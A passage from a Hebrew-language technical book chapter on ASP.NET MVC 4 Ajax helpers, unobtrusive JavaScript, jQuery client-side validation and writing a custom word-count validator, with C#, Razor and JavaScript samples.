גישת המקטעים מאפשרת מיקום מדויק של תגיות תסריט ומבטיחה שהתסריטים הדרושים 
 תממש את התסריט MVC 4ביישום  Layout_התצוגה , על פי ברירת מחדל. בסדר הנכוןייכללו 

 .  הסוגרתbodyמעל תגית , לקראת תחתית הדף

 תסריטים נוספים

, jQueryבנוסף לספריית הליבה של ? Scripts שנמצאים בתיקייה jsמה מכילים שאר קבצי 
. jQuery Validation - וjQuery :jQuery UIשל ) plugins(תוספים מכילה שני  Scriptsהתיקייה 

נראה שגם . ובהם נדון בהמשך, ללו מרחיבים את היכולות של ספריית הליבההתוספים ה
 . קיימות גרסאות מוקטנות של שני התוספים הללו

קבצים אלה נושאים סימון מיוחד . בשמותיהם" vsdoc"התיקייה מכילה קבצים שכוללים , בנוסף
לא תצטרכו ,  מצבבכל. Visual Studio של IntelliSenseכדי לתמוך ולהעצים את אפשרויות 

 תאתר Visual Studio 2012סביבת . להפנות לקבצים הללו באופן ישיר או לשלוח אותם ללקוח
קובץ . references.js_עבורכם את הקבצים הללו באופן אוטומטי אם תציינו אותם בקובץ 
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_references.jsמפורשות שבאמצעותן סביבת - משמש להגדרת ההפניות הלאVisual Studio 
 Tools  Optionsוהגדרת התצורה של הקובץ מתבצעת דרך תפריט , IntelliSenseלת את מתפע
 JavaScript  IntelliSense)  חפשו את הקבוצהWeb Reference Group .( 

תסריטים אלו . Microsoftבשמם הם קבצים שנכתבו על ידי " unobtrusive"קבצים שמכילים 
 unobtrusive כדי לספק תמיכה באפשרויות MVC ובתשתית jQueryמשולבים בספריית 

JavaScriptקבצים אלה נחוצים כדי להשתמש באפשרויות .  שפורטו קודם לכןAjax של תשתית 
ASP.NET MVC ,ובפרק זה נלמד גם כיצד להשתמש בתסריטים הללו . 

 הוא למעשה ספריית Modernizrהתסריט . Modernizrתסריט נוסף בתיקיית התסריטים הוא 
JavaScript שמשמשת ככלי עזר לבניית יישומים מודרניים באמצעות מודרניזציה של דפדפנים 

 הוא האפשרות להשתמש Modernizrאחד השימושים העיקריים של , לדוגמה. ישנים
בדפדפנים שאינם תומכים ) menu- וheader ,navכגון  (HTML 5באלמנטים החדשים של 

 מאפשרת לכם Modernizrספריית , כמו כן). Internet Explorer 6כגון  (HTML 5באלמנטים של 
נתמכים על ידי , כגון איתור מיקום גיאוגרפי או קנבס ציור, לברר אם אפשרויות מתקדמות

 . דפדפן מסוים

ספרייה זו . Knockout בשם JavaScriptהתסריט האחרון בתיקיית התסריטים שייך לספריית 
 MVVM עיצובה להשתמש בתבנית רוציםמפתחים שלשמיועדות נתונים -מספקת יכולות קישור

)Model-View-ViewModel( עבור קוד JavaScriptונתונים בצד הלקוח  . 

 AJAXסייעי 
הם משמשים .  כבר פגשתםASP.NET MVCשל תשתית ) HTML) HTML helpersאת סייעי 

 מערך  מספקת גםASP.NET MVCתשתית . ליצירת טפסים וקישורים שמפנים אל פעולות בקר
, שגם הם משמשים ליצירה של טפסים וקישורים שמפנים אל פעולות בקר, Ajaxשל סייעי 

הסייעים הללו יוצרים עבורכם את קוד התסריט שמבטיח . אולם ההתנהגות שלהם אסינכרונית
 . את הפעולה התקינה של התהליך האסינכרוני

 של ספריית unobtrusive MVC משתמשים בשירותיהן של הרחבות Ajaxסייעי , מאחורי הקלעים
jQuery . כדי להשתמש בסייעים יש צורך לכלול את התסריטjquery.unobtrusive-ajax . התסריט

כדי .  חדשMVC 4 של היישום בכל פרויקט Layout_הזה מצורף על פי ברירת מחדל לתצוגת 
 : תוכלו להשתמש בתגיות התסריט הבאות, להוסיף את הקובץ באופן ידני

<script src="~Scripts/jquery-1.6.2.min.js") 

></script> 

<script  src="~/Scripts/Scripts/jquery.unobtrusive-ajax.min.js") 

   ></script> 

@RenderSection("scripts", required:false); 
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  Ajaxקישורי פעולות של

רוב , HTMLסייעי בדומה ל. Razor שבתצוגת Ajax מתבצעת דרך המאפיין Ajaxהגישה לסייעי 
 ). AjaxHelperלמעט הטיפוס , extension methods(השיטות במאפיין הזה הן שיטות הרחבה 

.  משמשת ליצירת תגית עוגן בעלת התנהגות אסינכרוניתAjax של המאפיין ActionLinkהשיטה 
 .MVC Music Storeיישום לתחתית דף הבית של " עסקת היום"שברצונכם להוסיף קישור נניח 

אלא שבדף הנוכחי יופיעו , לא נרצה שיופנה לדף חדש, כאשר משתמש לוחץ על הקישור
 . כבמטה קסם פרטי אלבום שמוצע רק היום במחיר זול במיוחד

, Views/Home/Index.cshtmlניתן להוסיף את הקוד שלהלן לתצוגה , כדי ליישם את ההתנהגות הזו
 : מיד לאחר רשימת האלבומים הקיימת

<div id="dailydeal"> 

 @Ajax.ActionLink("Click here to see today's special!", "DailyDeal", 

      new AjaxOptions{ 

       UpdateTargetId="dailydeal", 

       InsertionMode=InsertionMode.Replace, 

       HttpMethod="GET" 

      }) 

</div> 

והפרמטר ,  משמש לציון הטקסט של הקישורActionLinkהפרמטר הראשון שמועבר לשיטה 
,  המקבילHTMLבדומה לסייע . לציון השם של הפעולה שתופעל באופן אסינכרוני -השני 
שדרכן ניתן להעביר ) overloads( כולל מספר גרסאות מועמסות Ajax מסוג ActionLinkסייע 

 . HTMLערכי ניתוב ומאפייני , לסייע שם של בקר

פרמטר . AjaxOptionsהפרמטר : שונה באופן מהותי מהשאראשר ישנו אחד מבין הפרמטרים 
וכיצד תעובד התוצאה שמוחזרת ,  משמש לקביעת אופן השליחה של הבקשה הזההאפשרויות

הצגת חלון אישור , הצגת אלמנט טעינה גרפי,  גם אפשרויות לטיפול בשגיאותיש. מהשרת
ת כדי לציין שברצוננו להחליף את בתרחיש שבדוגמה אנו משתמשים באפשרויו. ועוד

 כדי שאכן נקבל .בתגובה שתחזור מהשרת" dailydeal" הערך בעל idהאלמנט בעל המאפיין 
 : Home לבקר DailyDealעלינו להוסיף פעולת , תגובה

public ActionResult DailyDeal() 

{ 

 var album = GetDailyDeal(); 

 return PartialView("_DailyDeal", album); 

} 

 

private Album GetDailyDeal() 

{ 

 return storeDB.Albums 

  .OrderBy(a => a.Price) 

  .First(); 

} 
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בדוגמה . HTMLיכולה להחזיר טקסט פשוט או ,  אליהמפנה Ajaxשקישור פעולה של הפעולה 
 בקובץ נמצא שלהלן Razorקוד .  על ידי מימוש תצוגה חלקיתHTMLמחזירה זו הפעולה 

_DailyDeal.cshtml  בתיקייהViews/Homeשל הפרויקט  : 
@model MvcMusicStore.Models.Album 

 

<p> 

 <img alt="@Model.Title" src="@Model.AlbumArtUrl" /> 

</p> 

 

<div id="album-details"> 

 <p> 

  <em>Artist:</em> 

  @Model.Artist.Name 

 </p> 

 <p> 

  <em>Price:</em> 

  @String.Format("{0:F}", Model.Price) 

 </p> 

 <p class="button"> 

  @Html.ActionLink("Add to cart", "AddToCart", 

  "ShoppingCart", new { id = Model.AlbumId }, "") 

 </p> 

</div> 

 של בקר DailyDealנשלחת בקשה אסינכרונית אל הפעולה , כאשר משתמש לוחץ על הקישור
Home .ולה מחזירה ברגע שהפעHTMLהתסריט שותל את הפלט החוזר ,  מהתצוגה הממומשת

 .  מוצג מראה הדף לפני שהמשתמש לוחץ על הקישור8-2בתרשים . dailydealבמקום האלמנט 

 

 8-2תרשים 

הדף מתעדכן באופן המוצג בתרשים , לאחר שמשתמש שמתעניין בפרטים לוחץ על הקישור
 ). מבלי לבצע רענון מלא (8-3
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 8-3שים תר

 NuGetהשתמשו במנהל החבילות , אם אתם רוצים להריץ את הקוד במחשב שלכם הערה
מחלקות הקוד בחבילה מתבסס על . Wrox.ProMvc4.Ajax.ActionLinkכדי להתקין את החבילה 
מפרויקט ולכן מומלץ לנסות את החבילה כחלק , MVC Music Storeגישת נתונים של יישום 

MVC Music Storeכתובת אל ה ולאחר התקנת החבילה נווט. ם הקיי/ActionLink כדי לראות את 
 . דף הבית החדש

 מפיק מנגנון שמקבל תגובה מהשרת ומטמיע תכנים חדשים ישירות Ajax.ActionLinkהסייע 
בסעיף הבא נראה מה קורה בבסיס של קישורי ? אך כיצד פועל המנגנון הזה, בדף הקיים

 . פעולות אסינכרוניים

 HTML 5ייני מאפ

 : תמצאו את הקוד שלהלן, כאשר תפתחו את התגיות הממומשות של קישור הפעולה

<a data-ajax="true" data-ajax-method="GET" data-ajax-mode="replace" 

 data-ajax-update="#dailydeal" href="/Home/DailyDeal"> 

 Click here to see today&#39;s special! 

</a> 

ואכן , HTML בתגיות JavaScript הוא היעדר תסריט unobtrusive JavaScriptיכר של סימן הה
מבט מקרוב מגלה , אולם. כמצופה, נוכל לראות שהתגיות אכן נקיות לחלוטין מקוד תסריט

,  בתור מאפייניםHTMLשכל ההגדרות שמופיעות בקישור הפעולה מקודדות לתוך אלמנטי 
 ).מאפייני דאטה (data dash attributesאפיינים אלה מכונים מ. -data קידומת יםנושאורובם 

הדפדפן לא , במילים אחרות.  שמורים למצב של יישום פרטיdata מאפייני HTML 5במפרט 
ולכן אתם יכולים להציב בתוכם נתונים משלכם מבלי שהנתונים , ינסה לפרש מאפיינים אלה

פועלים כהלכה גם בדפדפנים  dataאפייני מ. ישפיעו על התצוגה או על אופן המימוש של הדף
 מתעלם מכל מאפיין Internet Explorer 6, למשל. HTML 5שנוצרו לפני שחרורו של מפרט 
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 גם ליישומים שיוצגו בגרסאות קודמות dataולכן ניתן להוסיף בבטחה מאפייני , שאינו מכיר
 . IEשל דפדפני 

 dataו ליישום היא לאתר מאפייני  שהוספנjquery.unobtrusive-ajaxהמטרה של קובץ 
מכיוון שכבר למדנו . מסוימים ולאחר מכן לעדכן את האלמנט כדי לשנות את התנהגות שלו

 unobtrusiveאנחנו יכולים להוסיף לקובץ , jQueryלאתר בקלות אלמנטים באמצעות 

JavaScriptאת הקוד הבא  : 
$(function () { 

 $("a[data-ajax]=true"). // do something 

}); 

 data-ajax בעלות מאפיין כדי לאתר את כל תגיות העוגן jQueryאנחנו משתמשים בספריית 
 מצורף לאלמנטים שצריכים להתנהג בצורה data-ajaxהמאפיין . trueשמכיל ערך 

הוא יכול ,  מזהה את האלמנטים האסינכרונייםunobtrusive-לאחר שהתסריט ה. אסינכרונית
ולשנות ) HTTPיעד העדכון ושיטת , כגון מצב ההחלפה(פות מתוך האלמנט לקרוא הגדרות נוס

הוא עושה זאת על ידי צירוף , לרוב(את האלמנט כדי להקנות לו את ההתנהגות הנדרשת 
 ). jQueryגם באמצעות ,  ושליחת בקשותjQueryאירועים באמצעות 

, פי ברירת מחדלעל . data משתמשות במאפייני ASP.NET MVC של Ajaxכל אפשרויות 
 . טפסים אסינכרוניים: אפשרויות אלו כוללת גם את נושא הסעיף הבא

 Ajaxטפסי 

נניח . המוסיקלשם ההדגמה נציג תרחיש אפשרי שאנחנו עשויים ליישם בדף הבית של חנות ה
, מכיוון שצריכים לקבל קלט מהמשתמש. ה לפי אמןמוסיקשרוצים לאפשר למשתמשים לחפש 

 : טופס אסינכרוני-אלא , אבל לא סתם טופס,  לדף(form)גית טופס חייבים להוסיף ת

@using (Ajax.BeginForm("ArtistSearch", "Home", 

 new AjaxOptions { 

  InsertionMode=InsertionMode.Replace, 

  HttpMethod="GET", 

  OnFailure="searchFailed", 

  LoadingElementId="ajax-loader", 

  UpdateTargetId="searchresults", 

 })) 

{ 

 <input type="text" name="q" /> 

 <input type="submit" value="search" /> 

 <img id="ajax-loader" 

  src="@~/Content/Images/ajax-loader.gif" 

  style="display:none"/> 

} 

ן שולח בקשת הדפדפ, כאשר המשתמש לוחץ על לחצן שליחת הטופס, בטופס שמוצג כאן
GET לפעולה ArtistSearch של הבקר Home . שימו לב לציון שלLoadingElementId כחלק 
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תשתית הלקוח מציגה את האלמנט הזה באופן אוטומטי כאשר מתבצעת בקשה . מהאפשרויות
נהוג למקם סמל טעינה מסתובב בתוך האלמנט כדי שהמשתמש ידע שמתבצעת . אסינכרונית

האפשרויות כוללת מספר פרמטרים שניתן . OnFailureלב גם לאפשרות שימו . פעולה ברקע
, Ajax) OnBegin ,OnCompleteלהגדיר כדי לתפוס בצד הלקוח אירועים מכל בקשת 

OnSuccessו -OnFailure .( ניתן להעביר לפרמטרים הללו שם של פונקצייתJavaScript אשר 
ולכן , searchFailedעברנו פונקציה בשם  הOnFailureעבור האירוע . תופעל במקרה של אירוע

להוסיף אותה לקובץ לעשות זאת היא דרך אחרת (עלינו לדאוג שהיא תהיה זמינה בזמן הריצה 
MusicScripts.jsשל היישום  :( 

function searchFailed() { 

 $("#searchresults").html("Sorry, there was a problem with the search."); 

} 

 אינם מספקים התרעות כשל Ajax מכיוון שסייעי OnFailureוצים לתפוס אירוע לעתים ר
כאשר משתמש לוחץ על לחצן החיפוש ושום דבר . במקרה שהקוד בצד השרת מחזיר שגיאה

אם תשתמשו בטכניקה שהוסברה קודם כדי להציג הודעת . הוא לא יבין מה הבעיה, לא קורה
 . לפחות ידעו שניסיתם לעשות משהוהמשתמשים שלכם , שגיאה במקרה של תקלה

כאשר , בסופו של דבר. ActionLink מתנהג בצורה דומה לפלט של BeginFormהפלט של הסייע 
והשרת ,  מגיעה לשרתAjaxבקשת , submitהמשתמש מוסר את הטופס על ידי לחיצה על לחצן 

תכנים מוכנסים ה, כאשר הלקוח מקבל את התגובה. יכול להחזיר בתגובה תוכן בפורמט הרצוי
 idהפלט מחליף את האלמנט עם , בדוגמה זו. unobtrusive על ידי התסריט DOMלמבנה 
פעולת הבקר צריכה לשלוח שאילתה לבסיס הנתונים , בדוגמה זו .searchresultsשערכו 

אבל מכיוון שאנחנו רוצים להציג , יכולנו להחזיר טקסט רגיל, כמקודם. ולממש תצוגה חלקית
 :  תצוגה חלקיתמשתשמהפעולה , ת האמניםאת רשימ

public ActionResult ArtistSearch(string q) 

{ 

 var artists = GetArtists(q); 

 return PartialView(artists); 

} 

 

private List<Artist> GetArtists(string searchString) 

{ 

 return storeDB.Artists 

  .Where(a => a.Name.Contains(searchString)) 

  .ToList(); 

} 

 ArtistSearch.cshtmlהתצוגה הזו נקראת . וגה החלקית משתמשת במודל לבניית הרשימההתצ
 :  של הפרויקטViews/Homeבתיקייה ונמצאת 

@model IEnumerable<MvcMusicStore.Models.Artist> 

<div id="searchresults"> 

 <ul> 

  @foreach (var item in Model) { 
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   <li>@item.Name</li> 

  } 

 </ul> 

</div> 

התקינו את החבילה , MVC Music Storeפרויקט כדי להוסיף את קוד החיפוש ל הערה
Wrox.ProMvc4.Ajax.AjaxForm באמצעות NuGet , ונווטו לכתובת/AjaxForm כדי לראות את 

 . דף הבית החדש בדפדפן

אך כעת נעבור , י להוסיף לו עוד כמה יכולותנחזור לדון במנגנון החיפוש בהמשך הפרק כד
 .  אימות בצד הלקוח- ASP.NET MVC מובנית אחרת של תשתית Ajaxלאפשרות 

 אימות בצד הלקוח
 גורמים לביצוע אימות בצד הלקוח MVCמאפייני סימוני נתונים של , על פי ברירת מחדל

)client-side validation .( ניקח לדוגמה את המאפייניםTitleו -Price של המחלקה Album : 

[Required(ErrorMessage = "An Album Title is required")] 

[StringLength(160)] 

public string Title { get; set; } 

 

[Required(ErrorMessage = "Price is required")] 

[Range(0.01, 100.00, 

      ErrorMessage = "Price must be between 0.01 and 100.00")] 

public decimal Price { get; set; } 

וגם מגבילים את האורך והטווח , סימוני הנתונים הופכים את המאפיינים הללו לשדות חובה
 מאמת בצד השרת את ASP.NET MVCלמודל של ) binder(המקשר . של הערכים שמוצבים בהם

ה גם גורמים לביצוע אימות המאפיינים המובנים האל. הערכים שמוצבים במאפיינים הללו
האימות בצד הלקוח מבוסס על שירותים שמסופקים על ידי תוסף האימות של . בצד הלקוח

jQuery . 

  jQueryתוסף האימות של 

 MVC 4 של יישום Scripts מצורף לתיקייה )jQuery) jquery.validateהאימות של תוסף , כאמור
 בצד הלקוח צריך להוסיף צמד תגיות כדי להשתמש באימות. חדש על פי ברירת מחדל

, StoreManager שנמצאות בתיקייה Create או את התצוגה Editאם תפתחו את התצוגה . תסריט
 : תוכלו לראות את שורות הקוד שלהלן

<script src="~/Scripts/jquery.validate.min.js")></script> 

<script src="~/Scripts/jquery.validate.unobtrusive.min.js")></script> 
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 config.web בקובץ Ajaxהגדרות 

 מופעלות ASP.NET MVC ואימות בצד הלקוח של תשתית unobtrusive JavaScriptאפשרויות 
פיתחו את . web.configואפשר לשנות את ההתנהגות הזו דרך הגדרות , על פי ברירת מחדל

 :  שלהלןappSettingsצורה ואתרו את מקטע הת, הראשי ביישום חדש web.configקובץ 
<appSettings> 

 <add key="ClientValidationEnabled" value="true"/> 

 <add key="UnobtrusiveJavaScriptEnabled" value="true"/> 

</appSettings> 

שנו את הערך של האפשרות , כדי לבטל את אחת מהאפשרויות הללו בכל חלקי היישום
.  ניתן גם לשלוט בהגדרות הללו על בסיס תצוגות אינדיבידואליות.false- לtrue-המתאימה מ

 HTMLתוכלו לעקוף את הגדרות בתוך תצוגה מסוימת על ידי שימוש בסייעי 
EnableClientValidationו - EnableUnobtrusiveJavascript . 

 ,דפדפנים מיושניםפעולה עם תאימות הסיבה העיקרית לביטול אפשרויות אלו היא הבטחת 
 . באמצעות תסריטים מותאמים אישית

מנגנוני האימות של . jQueryתגית התסריט הראשונה טוענת את תוסף האימות המוקטן של 
jQuery כגון אירוע שליחת טופס או ( מיישמים את כל התכנות הדרוש כדי להאזין לאירועים

ק מערך עשיר  מספjQueryהתוסף של . ולהפעיל את כללי אימות בצד הלקוח) סימון אלמנט
 . של כללי אימות סטנדרטיים

 לביצוע אימות Microsoft של unobtrusive adapter -התגית התסריט השנייה מכילה את 
jQuery . הקוד בקובץ התסריט הזה אחראי על קבלת נתוני מטא של צד לקוח מתשתית

ASP.NET MVC , בנים של נתוני המטא הללו לנתונים שיהיו מו) טרנספורמציה(ולהמרה
מהיכן מגיעים נתוני ). כדי שיוכלו לבצע את כל העבודה הקשה (jQueryלמנגנוני האימות של 

בתצוגה שבנינו . נחזור לתצוגת עריכת האלבום שכבר עסקנו בה, כדי לענות על השאלה? מטא
 בתיקייה המשותפת Albumאשר משתמש בתבנית העורך , EditorForModelהשתמשנו בסייע 

Shared .כוללת את הקוד שלהלןהתבנית : 
<p> 

 @Html.LabelFor(model => model.Title) 

 @Html.TextBoxFor(model => model.Title) 

 @Html.ValidationMessageFor(model => model.Title) 

</p> 

<p> 

 @Html.LabelFor(model => model.Price) 

 @Html.TextBoxFor(model => model.Price) 

 @Html.ValidationMessageFor(model => model.Price) 

</p> 

סייע זה בונה שדות קלט למודל על סמך נתוני . TextBoxForהתשובה לשאלתנו טמונה בסייע 
 StringLength- וRequiredכגון סימוני ,  נתקל בנתוני מטא לאימותTextBoxForכאשר . מטא
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.  שנוצרHTMLנתוני המטא לדף הוא יכול להעביר את , Title- וPriceשמוחלים על המאפיינים 
 : Titleאלו הן תגיות העורך שמופק עבור המאפיין 

<input 

 data-val="true" 

 data-val-length="The field Title must be a string with a maximum length of 160." 

 data-val-length-max="160" data-val-required="An Album Title is required" 

 id="Title" name="Title" type="text" value="Greatest Hits" /> 

איתור  אחראי לjquery.validate.unobtrusiveהתסריט . data מאפייני ניתן לזהות בדוגמה זוגם 
ולעבוד בשיתוף עם ) "data-val="trueכאלה שמתחילים עם (אלמנטים עם נתון המטא הזה 

.  כללי האימות שמוגדרים על ידי נתוני מטא כדי לאכוף אתjQueryתוסף האימות של 
כדי לספק ,  ניתן להחיל כללים על כל אירוע הַקָשָה או מיקודjQueryבאמצעות אימות 

תוסף האימות גם מונע העברת . למשתמשים משוב מיידי בתגובה להזנת ערכים לא חוקיים
ו מלכתחילה והדבר חוסך את הצורך לעבד בשרת בקשות שנועד, טפסים שמכילים שגיאות

 . לכישלון

הסעיף הבא יוקדש להצגת תרחיש מותאם , כדי להבין את הפרטים הקטנים של התהליך הזה
 . אישית של אימות בצד הלקוח

 אימות מותאם אישית 

 שנועד להגביל את מספר המילים MaxWordsAttribute כתבנו מאפיין אימות בשם 6בפרק 
 : להלן היישום המעשי של המאפיין. במחרוזת

public class MaxWordsAttribute : ValidationAttribute 

 public MaxWordsAttribute(int maxWords) 

  :base("Too many words in {0}") 

 { 

  MaxWords = maxWords; 

 } 

 

 public int MaxWords { get; set; } 

 

 protected override ValidationResult IsValid( 

  object value, 

  ValidationContext validationContext) 

 { 

  if (value != null) 

  { 

   var wordCount = value.ToString().Split(' ').Length; 

   if (wordCount > MaxWords) 

   { 

    return new ValidationResult( 

     FormatErrorMessage(validationContext.DisplayName) 

    ); 
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   } 

  } 

  return ValidationResult.Success; 

 } 

} 

אך כרגע המאפיין מספק , אנחנו יכולים להשתמש במאפיין באופן המודגם בקוד שלהלן
 : תמיכה לאימות בצד השרת בלבד

[Required(ErrorMessage = "An Album Title is required")] 

[StringLength(160)] 

[MaxWords(10)] 

public string Title { get; set; } 

 .המאפיין צריך ליישם ממשק כמוסבר בסעיף הבא, כדי לספק תמיכה לאימות בצד הלקוח

IClientValidatable 

כאשר תשתית . GetClientValidationRules:  מגדיר שיטה אחת בלבדIClientValidatableממשק 
MVCהיא מפעילה את השיטה ,  נתקלת באובייקט אימות שמשתמש בממשק הזה

GetClientValidationRules כדי לאחזר רצף של אובייקטי ModelClientValidationRule .
 . שהתשתית שולחת ללקוח, הכלליםאו את , אובייקטים אלה נושאים את נתוני המטא

 : ניישם את הממשק עבור מאפיין האימות המותאם באמצעות הקוד שלהלן

public class MaxWordsAttribute : ValidationAttribute, 

             IClientValidatable 

{ 

 ... 

 public IEnumerable<ModelClientValidationRule> GetClientValidationRules( 

    ModelMetadata metadata, ControllerContext context) 

 { 

  var rule = new ModelClientValidationRule(); 

  rule.ErrorMessage = FormatErrorMessage(metadata.GetDisplayName()); 

  rule.ValidationParameters.Add("wordcount", WordCount); 

  rule.ValidationType = "maxwords"; 

  yield return rule; 

 } 

} 

 : מניתוח התרחיש עולים מספר נתונים שעלינו להעביר ללקוח כדי שיוכל לבצע אימות

 ג במקרה שהאימות נכשלהודעת השגיאה שעליו להצי . 

 מספר המילים המותר . 

 לקטע קוד  יההפנJavaScriptשישמש לספירת המילים  . 

שימו לב שניתן להחזיר מספר . אלה הם אכן הנתונים שמשולבים על ידי הקוד שמוחזר ללקוח
 . כללים במידה שעליכם לבצע סוגים שונים של אימות בצד הלקוח
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הדבר מבטיח התאמה .  של הכללErrorMessageאפיין הקוד מציב את הודעת השגיאה במ
האוסף  . מושלמת בין הודעת השגיאה בצד השרת לבין הודעת השגיאה בצד הלקוח

ValidationParametersכמו למשל מספר ,  מספק מקום לאחסון פרמטרים שצריכים בצד הלקוח
עות לשמות אך יש משמ, תוכלו לאחסן באוסף פרמטרים נוספים. המילים המרבי המותר

 ValidationTypeהמאפיין , לסיום. ועליהם להיות זהים לשמות שנמצאים בתסריט הלקוח
 .  שעלינו להריץ בצד הלקוחJavaScriptמשמש לזיהוי קוד 

 ובתהליך של GetClientValidationRules מקבלת את הכללים שמחזירה השיטה MVCתשתית 
 : בצד הלקוחdataיין היא ממירה את המידע למאפ) סריאליזציה(סידור 

<input 

 data-val="true" 

 data-val-length="The field Title must be a string with a maximum length of 160." 

 data-val-length-max="160" 

 data-val-maxwords="Too many words in Title" 

 data-val-maxwords-wordcount="10" 

 data-val-required="An Album Title is required" id="Title" name="Title" 

 type="text" value="For Those About To Rock We Salute You" /> 

כחלק משמות המאפיינים ) מספר המילים המרבי (maxwordsשימו לב להקבלה בין הביטוי 
מכיוון שמאפיין ,  מוצגmaxwordsהטקסט של .  שבשרתMaxWordsלמאפיין הסימון 

ValidationType של הכלל מכיל את הערך maxwords)  שימו לב שהשמות של סוג האימות ושל
כל הפרמטרים של האימות חייבים להכיל רק אותיות קטנות כחלק מחוקיות זיהוי המאפיינים 

 ). HTMLשל 

 . עלינו לכתוב קוד תסריט להרצת קוד האימות, לאחר העברת נתוני המטא ללקוח

  מותאם אישית קוד תסריט לאימות

, בצד הלקוח dataאמנם איננו נדרשים לכתוב קוד שאוסף ערכים של נתוני מטא ממאפייני 
 :אבל אנחנו כן צריכים לכתוב שני קטעי תסריט שישמשו להרצת קוד האימות

 פועל עם הרחבות  המתאם: המתאםMVC  שהןunobtrusive לצורך זיהוי נתוני המטא 
 מטפלות בשליפת הערכים ממאפייני unobtrusive-הההרחבות , לאחר מכן. הדרושים

 . jQuery והמרת הנתונים לפורמט שיהיה מובן למנגנוני האימות של data-ה

 מאמת נקרא : כלל האימות עצמו)validator( בעגה של jQuery . 

נניח לרגע שברצונכם למקם את הקוד . שני קטעי הקוד יכולים לחלוק קובץ תסריט יחיד
במקרה . שבתחילת הפרק" תסריטים מותאמים אישית" שיצרנו בסעיף MusicScripts.jsבקובץ 

אם נשתמש בקטעי .  יופיע לאחר תסריטי האימותMusicScripts.jsחשוב להקפיד שקובץ , זה
 :נוכל לעשות זאת באופן הבא, התסריט שיצרנו קודם

@section scripts 

{ 

 <script src="~/Scripts/jquery.validate.min.js"></script> 
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 <script src="~/Scripts/jquery.validate.unobtrusive.min.js"></script> 

 <script src="~/Scripts/MusicScripts.js"></script> 

} 

 מאפשרת להשתמש במערך המלא של כלי MusicScripts.jsבקובץ הוספת שתי ההפניות 
IntelliSenseת אותן ההפניות לקובץ ניתן להוסיף א, לחילופין.  הנחוצים לנו_references.js . 

/// <reference path="jquery.validate.js" /> 

/// <reference path="jquery.validate.unobtrusive.js" /> 

 MVC של תשתית unobtrusive-הרחבת האימות ה. קטע הקוד הראשון שנכתוב הוא המתָאֵם
האובייקט . jQuery.validator.unobtrusive.adaptersאת כל המתאמים באובייקט מאחסנת 
adapters חושף API8-2כמפורט בטבלה ,  שמשמש להוספת מתאמים חדשים . 

 שיטות ליצירת מתאמים: 8-2טבלה 

 תיאור  השיטהשם

addBool ואינו , יצירת מתאם לכלל אימות שיוכל להימצא במצב פעיל או מנוטרל
 . מקבל פרמטרים נוספים

addSingleVal ת מתאם לכלל אימות שצריך לשלוף פרמטר יחיד מנתוני המטאיציר . 

addMinMax  כלל לבדיקות ערך -יצירת מתאם שממפה אל צמד של כללי אימות 
ניתן להריץ את אחד הכללים או את . מינימלי וכלל לבדיקת ערך מקסימלי

 . שניהם בהתאם לנתונים הזמינים

add מכיוון שדרושים , יות האחרותיצירת מתאם שלא נכלל באף אחת מהקטגור
 . לו פרמטרים נוספים או קוד הוראות ביצוע

, addאו  (addMinMax או addSingleValלתרחיש הגבלת מספר המילים ניתן להשתמש בשיטה 
מכיוון שאנחנו לא צריכים לוודא שיש מספר ). מכיוון שהיא מאפשרת ליצור מתאם לכל מטרה

 :כמוצג בקוד שלהלן, addSingleValטה נוכל להשתמש בשי, מילים מינימלי

/// <reference path="jquery.validate.js" /> 

/// <reference path="jquery.validate.unobtrusive.js" /> 

 

$.validator.unobtrusive.adapters.addSingleVal("maxwords", "wordcount"); 

 שהוגדר ValidationProperty  לערךלהתאיםוהוא חייב , הפרמטר הראשון הוא שם המתאם
הפרמטר השני הוא השם של הפרמטר היחיד שצריך להישלף מנתוני . בכלל שבצד השרת

 הוא תואם לשם - עבור שם הפרמטר -dataשימו לב שאין צורך להשתמש בקידומת . המטא
 .  בשרתValidationParametersהפרמטר שצירפנו לאוסף 
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קרית של המתאם היא לזהות את נתוני המטא המטרה העי, כאמור. המתאם פשוט למדי
אנחנו יכולים להמשיך , כאשר המתאם מוכן, כעת.  נדרשות לאתרunobtrusive-שההרחבות ה

 . בכתיבת המאמת

גם האובייקט , adaptersבדומה לאובייקט . jQuery.validatorכל המאמתים שוכנים באובייקט 
validator מספק APIהשיטה הוא שם .  להוספת מאמתים חדשיםaddMethod : 

$.validator.addMethod("maxwords", function (value, element, maxwords) { 

 if (value) { 

  if (value.split(' ').length > maxwords) { 

   return false; 

  } 

 } 

 return true; 

}); 

 :השיטה הזו מקבלת שני פרמטרים

 שבתורו תואם למאפיין (ביל לשם המתאם שעל פי המוסכמה צריך להק, שם המאמת
ValidationTypeשבשרת  .( 

 פונקציה שמופעלת כאשר מתבצע אימות . 

 falseאו ) אם האימות הצליח (trueית המאמת מקבלת שלושה פרמטרים ויכולה להחזיר יפונקצ
 ): אם האימות נכשל(

  בוםשם של אל, כמו למשל(הפרמטר הראשון של הפונקציה מכיל את ערך הקלט .( 

  כאשר הערך עצמו (הפרמטר השני הוא אלמנט הקלט שמכיל את הערך שיש לאמת
 ). אינו מכיל מספיק מידע

 במקרה שלנו מדובר . הפרמטר השלישי מקבל מערך עם הפרמטרים הנדרשים לאימות
 ). מספר המילים המרבי(בפרמטר אימות יחיד 

 כדי NuGetש במנהל החבילות כדי לייבא את קוד האימות אל הפרויקט צריך להשתמ הערה
החבילה מצרפת את . Wrox.ProMvc4.Ajax.CustomClientValidationלהתקין את החבילה 

 . Samples\ClientValidationתיקייה אל ההתסריטים והתכונות שיצרנו 

אך ,  מספקים אומנם מגוון רחב מאוד של אפשרויות שימושיותASP.NET MVC של Ajaxסייעי 
בסעיף הבא נציג את .  שיכולות לעשות הרבה יותרjQueryה של הרחבות יש מערכת שלמ

 . המובחרות שביניהן
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  jQueryתוספי 
חלק מתוספים . jQuery תוכלו למצוא אלפי תוספים של http://plugin.jquery.comבכתובת 

אלה כוללים כלים גרפיים שיאפשרו לכם להעשיר את האתר שלכם באמצעות הנפשות 
 . כגון תאריכונים וטבלאות) widgets(טים 'לו אחרים הינם וידגואי, מרשימות

לפתוח את הקובץ המכּוּוץָ ,  יש להוריד אותוjQueryכדי להשתמש בתוסף , ברוב המקרים
אשר מפשטות , NuGet זמינים כחבילות jQueryמספר תוספי . ולצרף את התוסף לפרויקט

ל התוספים כוללים לפחות קובץ כ. במידה רבה את תהליך הצירוף של התוסף לפרויקט
JavaScriptבמיוחד תוספי ,  אחד ורבים מהםUI , כוללים תמונות וגליונות סגנון נוספים

 . שעשויים להיות לעזר

